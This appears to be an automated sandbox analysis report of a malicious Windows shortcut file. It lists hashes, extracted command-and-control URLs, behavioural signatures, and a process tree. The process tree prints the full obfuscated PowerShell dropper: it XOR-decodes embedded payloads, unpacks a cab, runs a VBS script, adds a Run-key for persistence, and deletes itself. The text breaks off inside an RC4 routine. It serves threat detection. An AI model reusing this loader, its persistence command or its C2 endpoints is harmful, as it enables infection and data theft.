Analysis
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max time kernel
152s -
max time network
129s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
08/03/2024, 15:43
Static task
static1
Behavioral task
behavioral1
Sample
7a4a32b57bb087f3bfe0a640bd068108abb8ffe846f9fd2b5718774fc725efe3.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
7a4a32b57bb087f3bfe0a640bd068108abb8ffe846f9fd2b5718774fc725efe3.lnk
Resource
win10v2004-20240226-en
General
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Target
7a4a32b57bb087f3bfe0a640bd068108abb8ffe846f9fd2b5718774fc725efe3.lnk
-
Size
367.0MB
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MD5
655893b1641565f8ea04da4d74116b8a
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SHA1
ca5be2d5e6466b5726a3ada88bb9116247493501
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SHA256
7a4a32b57bb087f3bfe0a640bd068108abb8ffe846f9fd2b5718774fc725efe3
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SHA512
6efb7755be4ec4a4ec44e9392e8111c26c15d6b31b5f3f7775125b28cc144045271fd6463a83b2679b6fddd299cb4339517c642f0cc5d54733ba83362e30b540
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SSDEEP
3072:uRrGHfOpcF/hptrdL3MbeL3b19yZFTvbzKObT01:HnrJ3Sib19yzzKZ
Malware Config
Extracted
https://goosess.com/read/get.php?wc=iew&vf=lk0100
Extracted
http://stuckss.com/upload.php
Extracted
http://stuckss.com/upload.php
Extracted
http://stuckss.com/upload.php
Extracted
http://stuckss.com/upload.php
Extracted
http://stuckss.com/list.php?f=AYFLYVMK.txt
Signatures
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Blocklisted process makes network request 8 IoCs
flow pid Process 3 1104 powershell.exe 4 2024 powershell.exe 5 2232 powershell.exe 6 3036 powershell.exe 7 2580 powershell.exe 8 2404 powershell.exe 9 2800 powershell.exe 10 1576 powershell.exe -
Deletes itself 1 IoCs
pid Process 2816 powershell.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchostno2 = "C:\\Users\\Public\\Documents\\start.vbs" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-778096762-2241304387-192235952-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchostno2 = "C:\\Users\\Public\\Documents\\start.vbs" reg.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Delays execution with timeout.exe 6 IoCs
pid Process 1800 timeout.exe 1760 timeout.exe 1320 timeout.exe 1292 timeout.exe 1140 timeout.exe 2484 timeout.exe -
Gathers system information 1 TTPs 2 IoCs
Runs systeminfo.exe.
pid Process 2600 systeminfo.exe 1828 systeminfo.exe -
Suspicious behavior: EnumeratesProcesses 16 IoCs
pid Process 2816 powershell.exe 2484 powershell.exe 1728 powershell.exe 1260 powershell.exe 1104 powershell.exe 2024 powershell.exe 2232 powershell.exe 3036 powershell.exe 2580 powershell.exe 2404 powershell.exe 2800 powershell.exe 1576 powershell.exe 1288 powershell.exe 1352 powershell.exe 1108 powershell.exe 1612 powershell.exe -
Suspicious use of AdjustPrivilegeToken 16 IoCs
description pid Process Token: SeDebugPrivilege 2816 powershell.exe Token: SeDebugPrivilege 2484 powershell.exe Token: SeDebugPrivilege 1728 powershell.exe Token: SeDebugPrivilege 1260 powershell.exe Token: SeDebugPrivilege 1104 powershell.exe Token: SeDebugPrivilege 2024 powershell.exe Token: SeDebugPrivilege 2232 powershell.exe Token: SeDebugPrivilege 3036 powershell.exe Token: SeDebugPrivilege 2580 powershell.exe Token: SeDebugPrivilege 2404 powershell.exe Token: SeDebugPrivilege 2800 powershell.exe Token: SeDebugPrivilege 1576 powershell.exe Token: SeDebugPrivilege 1288 powershell.exe Token: SeDebugPrivilege 1352 powershell.exe Token: SeDebugPrivilege 1108 powershell.exe Token: SeDebugPrivilege 1612 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 936 wrote to memory of 2692 936 cmd.exe 29 PID 936 wrote to memory of 2692 936 cmd.exe 29 PID 936 wrote to memory of 2692 936 cmd.exe 29 PID 2692 wrote to memory of 2816 2692 cmd.exe 30 PID 2692 wrote to memory of 2816 2692 cmd.exe 30 PID 2692 wrote to memory of 2816 2692 cmd.exe 30 PID 2816 wrote to memory of 2432 2816 powershell.exe 31 PID 2816 wrote to memory of 2432 2816 powershell.exe 31 PID 2816 wrote to memory of 2432 2816 powershell.exe 31 PID 2432 wrote to memory of 2484 2432 cmd.exe 33 PID 2432 wrote to memory of 2484 2432 cmd.exe 33 PID 2432 wrote to memory of 2484 2432 cmd.exe 33 PID 2816 wrote to memory of 2008 2816 powershell.exe 34 PID 2816 wrote to memory of 2008 2816 powershell.exe 34 PID 2816 wrote to memory of 2008 2816 powershell.exe 34 PID 2816 wrote to memory of 1676 2816 powershell.exe 35 PID 2816 wrote to memory of 1676 2816 powershell.exe 35 PID 2816 wrote to memory of 1676 2816 powershell.exe 35 PID 832 wrote to memory of 744 832 cmd.exe 38 PID 832 wrote to memory of 744 832 cmd.exe 38 PID 832 wrote to memory of 744 832 cmd.exe 38 PID 832 wrote to memory of 1728 832 cmd.exe 39 PID 832 wrote to memory of 1728 832 cmd.exe 39 PID 832 wrote to memory of 1728 832 cmd.exe 39 PID 832 wrote to memory of 2600 832 cmd.exe 40 PID 832 wrote to memory of 2600 832 cmd.exe 40 PID 832 wrote to memory of 2600 832 cmd.exe 40 PID 2484 wrote to memory of 1276 2484 powershell.exe 42 PID 2484 wrote to memory of 1276 2484 powershell.exe 42 PID 2484 wrote to memory of 1276 2484 powershell.exe 42 PID 2484 wrote to memory of 2296 2484 powershell.exe 43 PID 2484 wrote to memory of 2296 2484 powershell.exe 43 PID 2484 wrote to memory of 2296 2484 powershell.exe 43 PID 1212 wrote to memory of 1964 1212 cmd.exe 46 PID 1212 wrote to memory of 1964 1212 cmd.exe 46 PID 1212 wrote to memory of 1964 1212 cmd.exe 46 PID 1212 wrote to memory of 1260 1212 cmd.exe 47 PID 1212 wrote to memory of 1260 1212 cmd.exe 47 PID 1212 wrote to memory of 1260 1212 cmd.exe 47 PID 832 wrote to memory of 1292 832 cmd.exe 49 PID 832 wrote to memory of 1292 832 cmd.exe 49 PID 832 wrote to memory of 1292 832 cmd.exe 49 PID 1212 wrote to memory of 1828 1212 cmd.exe 50 PID 1212 wrote to memory of 1828 1212 cmd.exe 50 PID 1212 wrote to memory of 1828 1212 cmd.exe 50 PID 1212 wrote to memory of 1140 1212 cmd.exe 51 PID 1212 wrote to memory of 1140 1212 cmd.exe 51 PID 1212 wrote to memory of 1140 1212 cmd.exe 51 PID 832 wrote to memory of 1104 832 cmd.exe 52 PID 832 wrote to memory of 1104 832 cmd.exe 52 PID 832 wrote to memory of 1104 832 cmd.exe 52 PID 1212 wrote to memory of 2024 1212 cmd.exe 53 PID 1212 wrote to memory of 2024 1212 cmd.exe 53 PID 1212 wrote to memory of 2024 1212 cmd.exe 53 PID 1212 wrote to memory of 2232 1212 cmd.exe 54 PID 1212 wrote to memory of 2232 1212 cmd.exe 54 PID 1212 wrote to memory of 2232 1212 cmd.exe 54 PID 832 wrote to memory of 3036 832 cmd.exe 55 PID 832 wrote to memory of 3036 832 cmd.exe 55 PID 832 wrote to memory of 3036 832 cmd.exe 55 PID 1212 wrote to memory of 2580 1212 cmd.exe 56 PID 1212 wrote to memory of 2580 1212 cmd.exe 56 PID 1212 wrote to memory of 2580 1212 cmd.exe 56 PID 832 wrote to memory of 2404 832 cmd.exe 57
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\7a4a32b57bb087f3bfe0a640bd068108abb8ffe846f9fd2b5718774fc725efe3.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c p^owe^rshe^l^l -windowstyle hidden function QceEeRCSkI{param($UHCYbGzPEWQZ); ^<#missible#^>$oPath = Split-Path $UHCYbGzPEWQZ;^<#rewwore#^> return $oPath;};function MHMPpQGMSz{param($YCevQqmRGu); ^<#biophysically#^>$oPath = $YCevQqmRGu.substring(0,$YCevQqmRGu.length-4) + ''; ^<#bawling#^>return $oPath;};function GzAaIfXbMpmZ{$knPgzVjIuN = $env:public^<#edginesses#^> + '\' + 'UHCYbG.cab';^<#koranic#^> return $knPgzVjIuN;};function YLfJLrHwhVv{$jHCBAmkIQGt = $env:public^<#stampman#^> + '\' +^<#shatan#^> 'documents';^<#unimproved#^> return $jHCBAmkIQGt;};function IgnDoFlYXTz{$YDczVPCcDt = $env:public^<#porphyrize#^>+'\documents\start.vbs';^<#blameably#^> return $YDczVPCcDt;};function vnQykamhms{param($zQAJWCjcuWU);^<#unmodifiability#^> remove-item ^<#syndactylous#^> -path $zQAJWCjcuWU ^<#merohedral#^> -force;};function koMIoWakvBvW{param($FMGlWEFVsTs, $esLEposvvv);^<#tonite#^> expand $FMGlWEFVsTs ^<#decomponible#^> -F:* $esLEposvvv;};function hTyCsnXOYNpF{param($nawJOUnZzx,$RlTnDPsUBfVC,$eCNSSCoWDgl,$OmElfdBcJuP,$bzaDdFrZDQ);^<#discostomatous#^> $riBeXSGLoac=New-Object System.IO.FileStream(^<#copiable#^>$nawJOUnZzx,^<#strickenly#^>[System.IO.FileMode]::Open,^<#judicialness#^>[System.IO.FileAccess]::Read);^<#cadencing#^> $riBeXSGLoac.Seek(^<#jassid#^>$RlTnDPsUBfVC,[System.IO.SeekOrigin]::Begin);^<#destool#^> $lDWtpafJUDLQ=New-Object byte[] ^<#astatize#^>$eCNSSCoWDgl; ^<#broadax#^>$riBeXSGLoac.Read(^<#thiamines#^>$lDWtpafJUDLQ,0,^<#transpirometer#^>$eCNSSCoWDgl); $riBeXSGLoac.Close();for($EghEJyXHpIU=0;$EghEJyXHpIU -lt $eCNSSCoWDgl;$EghEJyXHpIU++){^<#electrotype#^>$lDWtpafJUDLQ[$EghEJyXHpIU]=$lDWtpafJUDLQ[$EghEJyXHpIU] -bxor $OmElfdBcJuP;}^<#sulfite#^> sc $bzaDdFrZDQ ^<#mouchoirs#^> $lDWtpafJUDLQ -Encoding ^<#overornamented#^> Byte;};function JLaLxKrqVQ{return Get-Location;};function FbVgDFIBFQY{^<#ransomfree#^>return $env:Temp;};function YzJlSxYuyv{$pPYxTUXWGppn = JLaLxKrqVQ; $MCMgQbotQbA = dvhYabCyYgb -MdzNcJucvkR $pPYxTUXWGppn; ^<#reoccurrences#^>if($MCMgQbotQbA.length -eq 0) {$pPYxTUXWGppn = FbVgDFIBFQY; ^<#philippicize#^>$MCMgQbotQbA = dvhYabCyYgb -MdzNcJucvkR $pPYxTUXWGppn;} return $MCMgQbotQbA;};function dvhYabCyYgb{param($MdzNcJucvkR); ^<#krises#^>$outpath=Get-ChildItem -Path ^<#tuckered#^> $MdzNcJucvkR -Recurse ^<#gunline#^>*.lnk ^| ^<#lavishes#^>where-object {$_.length -eq ^<#herbbane#^>0x16EF7F1A} ^| ^<#polymazia#^>Select-Object -ExpandProperty ^<#mailes#^>FullName; return ^<#boronic#^> $outpath;};$BVhUaiRxai = YzJlSxYuyv;^<#rhinolithic#^>$dirPath = QceEeRCSkI -UHCYbGzPEWQZ $BVhUaiRxai;^<#potline#^> $utUjrvVHil = MHMPpQGMSz -YCevQqmRGu $BVhUaiRxai;hTyCsnXOYNpF -nawJOUnZzx ^<#typhonia#^> $BVhUaiRxai -RlTnDPsUBfVC ^<#underemployment#^> 0x000020EC -eCNSSCoWDgl 0x00006B92 -OmElfdBcJuP ^<#prefiguratively#^> 0x51 -bzaDdFrZDQ ^<#gallinae#^> $utUjrvVHil;^<#appd#^> ^& $utUjrvVHil;$ipSanAloserA=GzAaIfXbMpmZ;^<#superchery#^>hTyCsnXOYNpF -nawJOUnZzx ^<#dioon#^> $BVhUaiRxai -RlTnDPsUBfVC ^<#taxation#^> 0x00008C7E -eCNSSCoWDgl ^<#skeens#^> 0x00013CCF -OmElfdBcJuP ^<#brooch#^> 0x88 -bzaDdFrZDQ ^<#unreckingness#^> $ipSanAloserA;^<#anthypophoretic#^>vnQykamhms -zQAJWCjcuWU $BVhUaiRxai;$TAsjCZBdLsHU = YLfJLrHwhVv;^<#narthexes#^>koMIoWakvBvW -FMGlWEFVsTs $ipSanAloserA -esLEposvvv ^<#britten#^>$TAsjCZBdLsHU;^<#phenylephrine#^>vnQykamhms -zQAJWCjcuWU $ipSanAloserA;$nQPICdrwsspp = ^<#crackback#^>IgnDoFlYXTz;^<#orientationally#^>^& $nQPICdrwsspp;2⤵
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden function QceEeRCSkI{param($UHCYbGzPEWQZ); <#missible#>$oPath = Split-Path $UHCYbGzPEWQZ;<#rewwore#> return $oPath;};function MHMPpQGMSz{param($YCevQqmRGu); <#biophysically#>$oPath = $YCevQqmRGu.substring(0,$YCevQqmRGu.length-4) + ''; <#bawling#>return $oPath;};function GzAaIfXbMpmZ{$knPgzVjIuN = $env:public<#edginesses#> + '\' + 'UHCYbG.cab';<#koranic#> return $knPgzVjIuN;};function YLfJLrHwhVv{$jHCBAmkIQGt = $env:public<#stampman#> + '\' +<#shatan#> 'documents';<#unimproved#> return $jHCBAmkIQGt;};function IgnDoFlYXTz{$YDczVPCcDt = $env:public<#porphyrize#>+'\documents\start.vbs';<#blameably#> return $YDczVPCcDt;};function vnQykamhms{param($zQAJWCjcuWU);<#unmodifiability#> remove-item <#syndactylous#> -path $zQAJWCjcuWU <#merohedral#> -force;};function koMIoWakvBvW{param($FMGlWEFVsTs, $esLEposvvv);<#tonite#> expand $FMGlWEFVsTs <#decomponible#> -F:* $esLEposvvv;};function hTyCsnXOYNpF{param($nawJOUnZzx,$RlTnDPsUBfVC,$eCNSSCoWDgl,$OmElfdBcJuP,$bzaDdFrZDQ);<#discostomatous#> $riBeXSGLoac=New-Object System.IO.FileStream(<#copiable#>$nawJOUnZzx,<#strickenly#>[System.IO.FileMode]::Open,<#judicialness#>[System.IO.FileAccess]::Read);<#cadencing#> $riBeXSGLoac.Seek(<#jassid#>$RlTnDPsUBfVC,[System.IO.SeekOrigin]::Begin);<#destool#> $lDWtpafJUDLQ=New-Object byte[] <#astatize#>$eCNSSCoWDgl; <#broadax#>$riBeXSGLoac.Read(<#thiamines#>$lDWtpafJUDLQ,0,<#transpirometer#>$eCNSSCoWDgl); $riBeXSGLoac.Close();for($EghEJyXHpIU=0;$EghEJyXHpIU -lt $eCNSSCoWDgl;$EghEJyXHpIU++){<#electrotype#>$lDWtpafJUDLQ[$EghEJyXHpIU]=$lDWtpafJUDLQ[$EghEJyXHpIU] -bxor $OmElfdBcJuP;}<#sulfite#> sc $bzaDdFrZDQ <#mouchoirs#> $lDWtpafJUDLQ -Encoding <#overornamented#> Byte;};function JLaLxKrqVQ{return Get-Location;};function FbVgDFIBFQY{<#ransomfree#>return $env:Temp;};function YzJlSxYuyv{$pPYxTUXWGppn = JLaLxKrqVQ; $MCMgQbotQbA = dvhYabCyYgb -MdzNcJucvkR $pPYxTUXWGppn; <#reoccurrences#>if($MCMgQbotQbA.length -eq 0) {$pPYxTUXWGppn = FbVgDFIBFQY; <#philippicize#>$MCMgQbotQbA = dvhYabCyYgb -MdzNcJucvkR $pPYxTUXWGppn;} return $MCMgQbotQbA;};function dvhYabCyYgb{param($MdzNcJucvkR); <#krises#>$outpath=Get-ChildItem -Path <#tuckered#> $MdzNcJucvkR -Recurse <#gunline#>*.lnk | <#lavishes#>where-object {$_.length -eq <#herbbane#>0x16EF7F1A} | <#polymazia#>Select-Object -ExpandProperty <#mailes#>FullName; return <#boronic#> $outpath;};$BVhUaiRxai = YzJlSxYuyv;<#rhinolithic#>$dirPath = QceEeRCSkI -UHCYbGzPEWQZ $BVhUaiRxai;<#potline#> $utUjrvVHil = MHMPpQGMSz -YCevQqmRGu $BVhUaiRxai;hTyCsnXOYNpF -nawJOUnZzx <#typhonia#> $BVhUaiRxai -RlTnDPsUBfVC <#underemployment#> 0x000020EC -eCNSSCoWDgl 0x00006B92 -OmElfdBcJuP <#prefiguratively#> 0x51 -bzaDdFrZDQ <#gallinae#> $utUjrvVHil;<#appd#> & $utUjrvVHil;$ipSanAloserA=GzAaIfXbMpmZ;<#superchery#>hTyCsnXOYNpF -nawJOUnZzx <#dioon#> $BVhUaiRxai -RlTnDPsUBfVC <#taxation#> 0x00008C7E -eCNSSCoWDgl <#skeens#> 0x00013CCF -OmElfdBcJuP <#brooch#> 0x88 -bzaDdFrZDQ <#unreckingness#> $ipSanAloserA;<#anthypophoretic#>vnQykamhms -zQAJWCjcuWU $BVhUaiRxai;$TAsjCZBdLsHU = YLfJLrHwhVv;<#narthexes#>koMIoWakvBvW -FMGlWEFVsTs $ipSanAloserA -esLEposvvv <#britten#>$TAsjCZBdLsHU;<#phenylephrine#>vnQykamhms -zQAJWCjcuWU $ipSanAloserA;$nQPICdrwsspp = <#crackback#>IgnDoFlYXTz;<#orientationally#>& $nQPICdrwsspp;3⤵
- Deletes itself
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2816 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c p^owe^rshe^l^l -windowstyle hidden function QceEeRCSkI{param($UHCYbGzPEWQZ); ^<#missible#^>$oPath = Split-Path $UHCYbGzPEWQZ;^<#rewwore#^> return $oPath;};function MHMPpQGMSz{param($YCevQqmRGu); ^<#biophysically#^>$oPath = $YCevQqmRGu.substring(0,$YCevQqmRGu.length-4) + ''; ^<#bawling#^>return $oPath;};function GzAaIfXbMpmZ{$knPgzVjIuN = $env:public^<#edginesses#^> + '\' + 'UHCYbG.cab';^<#koranic#^> return $knPgzVjIuN;};function YLfJLrHwhVv{$jHCBAmkIQGt = $env:public^<#stampman#^> + '\' +^<#shatan#^> 'documents';^<#unimproved#^> return $jHCBAmkIQGt;};function IgnDoFlYXTz{$YDczVPCcDt = $env:public^<#porphyrize#^>+'\documents\start.vbs';^<#blameably#^> return $YDczVPCcDt;};function vnQykamhms{param($zQAJWCjcuWU);^<#unmodifiability#^> remove-item ^<#syndactylous#^> -path $zQAJWCjcuWU ^<#merohedral#^> -force;};function koMIoWakvBvW{param($FMGlWEFVsTs, $esLEposvvv);^<#tonite#^> expand $FMGlWEFVsTs ^<#decomponible#^> -F:* $esLEposvvv;};function hTyCsnXOYNpF{param($nawJOUnZzx,$RlTnDPsUBfVC,$eCNSSCoWDgl,$OmElfdBcJuP,$bzaDdFrZDQ);^<#discostomatous#^> $riBeXSGLoac=New-Object System.IO.FileStream(^<#copiable#^>$nawJOUnZzx,^<#strickenly#^>[System.IO.FileMode]::Open,^<#judicialness#^>[System.IO.FileAccess]::Read);^<#cadencing#^> $riBeXSGLoac.Seek(^<#jassid#^>$RlTnDPsUBfVC,[System.IO.SeekOrigin]::Begin);^<#destool#^> $lDWtpafJUDLQ=New-Object byte[] ^<#astatize#^>$eCNSSCoWDgl; ^<#broadax#^>$riBeXSGLoac.Read(^<#thiamines#^>$lDWtpafJUDLQ,0,^<#transpirometer#^>$eCNSSCoWDgl); $riBeXSGLoac.Close();for($EghEJyXHpIU=0;$EghEJyXHpIU -lt $eCNSSCoWDgl;$EghEJyXHpIU++){^<#electrotype#^>$lDWtpafJUDLQ[$EghEJyXHpIU]=$lDWtpafJUDLQ[$EghEJyXHpIU] -bxor $OmElfdBcJuP;}^<#sulfite#^> sc $bzaDdFrZDQ ^<#mouchoirs#^> $lDWtpafJUDLQ -Encoding ^<#overornamented#^> Byte;};function JLaLxKrqVQ{return Get-Location;};function FbVgDFIBFQY{^<#ransomfree#^>return $env:Temp;};function YzJlSxYuyv{$pPYxTUXWGppn = JLaLxKrqVQ; $MCMgQbotQbA = dvhYabCyYgb -MdzNcJucvkR $pPYxTUXWGppn; ^<#reoccurrences#^>if($MCMgQbotQbA.length -eq 0) {$pPYxTUXWGppn = FbVgDFIBFQY; ^<#philippicize#^>$MCMgQbotQbA = dvhYabCyYgb -MdzNcJucvkR $pPYxTUXWGppn;} return $MCMgQbotQbA;};function dvhYabCyYgb{param($MdzNcJucvkR); ^<#krises#^>$outpath=Get-ChildItem -Path ^<#tuckered#^> $MdzNcJucvkR -Recurse ^<#gunline#^>*.lnk ^| ^<#lavishes#^>where-object {$_.length -eq ^<#herbbane#^>0x16EF7F1A} ^| ^<#polymazia#^>Select-Object -ExpandProperty ^<#mailes#^>FullName; return ^<#boronic#^> $outpath;};$BVhUaiRxai = YzJlSxYuyv;^<#rhinolithic#^>$dirPath = QceEeRCSkI -UHCYbGzPEWQZ $BVhUaiRxai;^<#potline#^> $utUjrvVHil = MHMPpQGMSz -YCevQqmRGu $BVhUaiRxai;hTyCsnXOYNpF -nawJOUnZzx ^<#typhonia#^> $BVhUaiRxai -RlTnDPsUBfVC ^<#underemployment#^> 0x000020EC -eCNSSCoWDgl 0x00006B92 -OmElfdBcJuP ^<#prefiguratively#^> 0x51 -bzaDdFrZDQ ^<#gallinae#^> $utUjrvVHil;^<#appd#^> ^& $utUjrvVHil;$ipSanAloserA=GzAaIfXbMpmZ;^<#superchery#^>hTyCsnXOYNpF -nawJOUnZzx ^<#dioon#^> $BVhUaiRxai -RlTnDPsUBfVC ^<#taxation#^> 0x00008C7E -eCNSSCoWDgl ^<#skeens#^> 0x00013CCF -OmElfdBcJuP ^<#brooch#^> 0x88 -bzaDdFrZDQ ^<#unreckingness#^> $ipSanAloserA;^<#anthypophoretic#^>vnQykamhms -zQAJWCjcuWU $BVhUaiRxai;$TAsjCZBdLsHU = YLfJLrHwhVv;^<#narthexes#^>koMIoWakvBvW -FMGlWEFVsTs $ipSanAloserA -esLEposvvv ^<#britten#^>$TAsjCZBdLsHU;^<#phenylephrine#^>vnQykamhms -zQAJWCjcuWU $ipSanAloserA;$nQPICdrwsspp = ^<#crackback#^>IgnDoFlYXTz;^<#orientationally#^>^& $nQPICdrwsspp;4⤵
- Suspicious use of WriteProcessMemory
PID:2432 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden function QceEeRCSkI{param($UHCYbGzPEWQZ); <#missible#>$oPath = Split-Path $UHCYbGzPEWQZ;<#rewwore#> return $oPath;};function MHMPpQGMSz{param($YCevQqmRGu); <#biophysically#>$oPath = $YCevQqmRGu.substring(0,$YCevQqmRGu.length-4) + ''; <#bawling#>return $oPath;};function GzAaIfXbMpmZ{$knPgzVjIuN = $env:public<#edginesses#> + '\' + 'UHCYbG.cab';<#koranic#> return $knPgzVjIuN;};function YLfJLrHwhVv{$jHCBAmkIQGt = $env:public<#stampman#> + '\' +<#shatan#> 'documents';<#unimproved#> return $jHCBAmkIQGt;};function IgnDoFlYXTz{$YDczVPCcDt = $env:public<#porphyrize#>+'\documents\start.vbs';<#blameably#> return $YDczVPCcDt;};function vnQykamhms{param($zQAJWCjcuWU);<#unmodifiability#> remove-item <#syndactylous#> -path $zQAJWCjcuWU <#merohedral#> -force;};function koMIoWakvBvW{param($FMGlWEFVsTs, $esLEposvvv);<#tonite#> expand $FMGlWEFVsTs <#decomponible#> -F:* $esLEposvvv;};function hTyCsnXOYNpF{param($nawJOUnZzx,$RlTnDPsUBfVC,$eCNSSCoWDgl,$OmElfdBcJuP,$bzaDdFrZDQ);<#discostomatous#> $riBeXSGLoac=New-Object System.IO.FileStream(<#copiable#>$nawJOUnZzx,<#strickenly#>[System.IO.FileMode]::Open,<#judicialness#>[System.IO.FileAccess]::Read);<#cadencing#> $riBeXSGLoac.Seek(<#jassid#>$RlTnDPsUBfVC,[System.IO.SeekOrigin]::Begin);<#destool#> $lDWtpafJUDLQ=New-Object byte[] <#astatize#>$eCNSSCoWDgl; <#broadax#>$riBeXSGLoac.Read(<#thiamines#>$lDWtpafJUDLQ,0,<#transpirometer#>$eCNSSCoWDgl); $riBeXSGLoac.Close();for($EghEJyXHpIU=0;$EghEJyXHpIU -lt $eCNSSCoWDgl;$EghEJyXHpIU++){<#electrotype#>$lDWtpafJUDLQ[$EghEJyXHpIU]=$lDWtpafJUDLQ[$EghEJyXHpIU] -bxor $OmElfdBcJuP;}<#sulfite#> sc $bzaDdFrZDQ <#mouchoirs#> $lDWtpafJUDLQ -Encoding <#overornamented#> Byte;};function JLaLxKrqVQ{return Get-Location;};function FbVgDFIBFQY{<#ransomfree#>return $env:Temp;};function YzJlSxYuyv{$pPYxTUXWGppn = JLaLxKrqVQ; $MCMgQbotQbA = dvhYabCyYgb -MdzNcJucvkR $pPYxTUXWGppn; <#reoccurrences#>if($MCMgQbotQbA.length -eq 0) {$pPYxTUXWGppn = FbVgDFIBFQY; <#philippicize#>$MCMgQbotQbA = dvhYabCyYgb -MdzNcJucvkR $pPYxTUXWGppn;} return $MCMgQbotQbA;};function dvhYabCyYgb{param($MdzNcJucvkR); <#krises#>$outpath=Get-ChildItem -Path <#tuckered#> $MdzNcJucvkR -Recurse <#gunline#>*.lnk | <#lavishes#>where-object {$_.length -eq <#herbbane#>0x16EF7F1A} | <#polymazia#>Select-Object -ExpandProperty <#mailes#>FullName; return <#boronic#> $outpath;};$BVhUaiRxai = YzJlSxYuyv;<#rhinolithic#>$dirPath = QceEeRCSkI -UHCYbGzPEWQZ $BVhUaiRxai;<#potline#> $utUjrvVHil = MHMPpQGMSz -YCevQqmRGu $BVhUaiRxai;hTyCsnXOYNpF -nawJOUnZzx <#typhonia#> $BVhUaiRxai -RlTnDPsUBfVC <#underemployment#> 0x000020EC -eCNSSCoWDgl 0x00006B92 -OmElfdBcJuP <#prefiguratively#> 0x51 -bzaDdFrZDQ <#gallinae#> $utUjrvVHil;<#appd#> & $utUjrvVHil;$ipSanAloserA=GzAaIfXbMpmZ;<#superchery#>hTyCsnXOYNpF -nawJOUnZzx <#dioon#> $BVhUaiRxai -RlTnDPsUBfVC <#taxation#> 0x00008C7E -eCNSSCoWDgl <#skeens#> 0x00013CCF -OmElfdBcJuP <#brooch#> 0x88 -bzaDdFrZDQ <#unreckingness#> $ipSanAloserA;<#anthypophoretic#>vnQykamhms -zQAJWCjcuWU $BVhUaiRxai;$TAsjCZBdLsHU = YLfJLrHwhVv;<#narthexes#>koMIoWakvBvW -FMGlWEFVsTs $ipSanAloserA -esLEposvvv <#britten#>$TAsjCZBdLsHU;<#phenylephrine#>vnQykamhms -zQAJWCjcuWU $ipSanAloserA;$nQPICdrwsspp = <#crackback#>IgnDoFlYXTz;<#orientationally#>& $nQPICdrwsspp;5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\system32\expand.exe"C:\Windows\system32\expand.exe" C:\Users\Public\UHCYbG.cab -F:* C:\Users\Public\documents6⤵PID:1276
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\documents\start.vbs"6⤵PID:2296
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C:\Windows\system32\expand.exe"C:\Windows\system32\expand.exe" C:\Users\Public\UHCYbG.cab -F:* C:\Users\Public\documents4⤵
- Drops file in Windows directory
PID:2008
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\documents\start.vbs"4⤵PID:1676
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C:\Windows\system32\cmd.execmd /c ""C:\Users\Public\documents\49120862.bat" "1⤵
- Suspicious use of WriteProcessMemory
PID:832 -
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "C:\Users\Public\Documents\start.vbs" /f2⤵
- Adds Run key to start application
PID:744
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "function OnavpMuwhH{param ($UmdocLPwMM,$mIiGBlcMoFh);$VFPFIVkdaVP = [System.Text.Encoding]::UTF8.GetBytes($UmdocLPwMM); $vBZPSaMPhEL = [System.Text.Encoding]::UTF8.GetBytes($mIiGBlcMoFh);$VkbCqfOxmF = New-Object byte[](256);$pquiAKHwBut = New-Object byte[](256);for ($pVTuUFZgJeTg = 0; $pVTuUFZgJeTg -lt 256; $pVTuUFZgJeTg++) {$VkbCqfOxmF[$pVTuUFZgJeTg] = $pVTuUFZgJeTg;$pquiAKHwBut[$pVTuUFZgJeTg] = $vBZPSaMPhEL[$pVTuUFZgJeTg % $vBZPSaMPhEL.Length];}$cimcjZyRCUM = 0;for ($pVTuUFZgJeTg = 0; $pVTuUFZgJeTg -lt 256; $pVTuUFZgJeTg++) {$cimcjZyRCUM = ($cimcjZyRCUM + $VkbCqfOxmF[$pVTuUFZgJeTg] + $pquiAKHwBut[$pVTuUFZgJeTg]) % 256;$UaOsUHJTbs = $VkbCqfOxmF[$pVTuUFZgJeTg];$VkbCqfOxmF[$pVTuUFZgJeTg] = $VkbCqfOxmF[$cimcjZyRCUM];$VkbCqfOxmF[$cimcjZyRCUM] = $UaOsUHJTbs;}$QiBpTOnlBxk = New-Object byte[] $VFPFIVkdaVP.Length;$pVTuUFZgJeTg = 0;$cimcjZyRCUM = 0;for ($qlEMUTGteAdA = 0; $qlEMUTGteAdA -lt $VFPFIVkdaVP.Length; $qlEMUTGteAdA++) {$pVTuUFZgJeTg = ($pVTuUFZgJeTg + 1) % 256;$cimcjZyRCUM = ($cimcjZyRCUM + $VkbCqfOxmF[$pVTuUFZgJeTg]) % 256;$UaOsUHJTbs = $VkbCqfOxmF[$pVTuUFZgJeTg];$VkbCqfOxmF[$pVTuUFZgJeTg] = 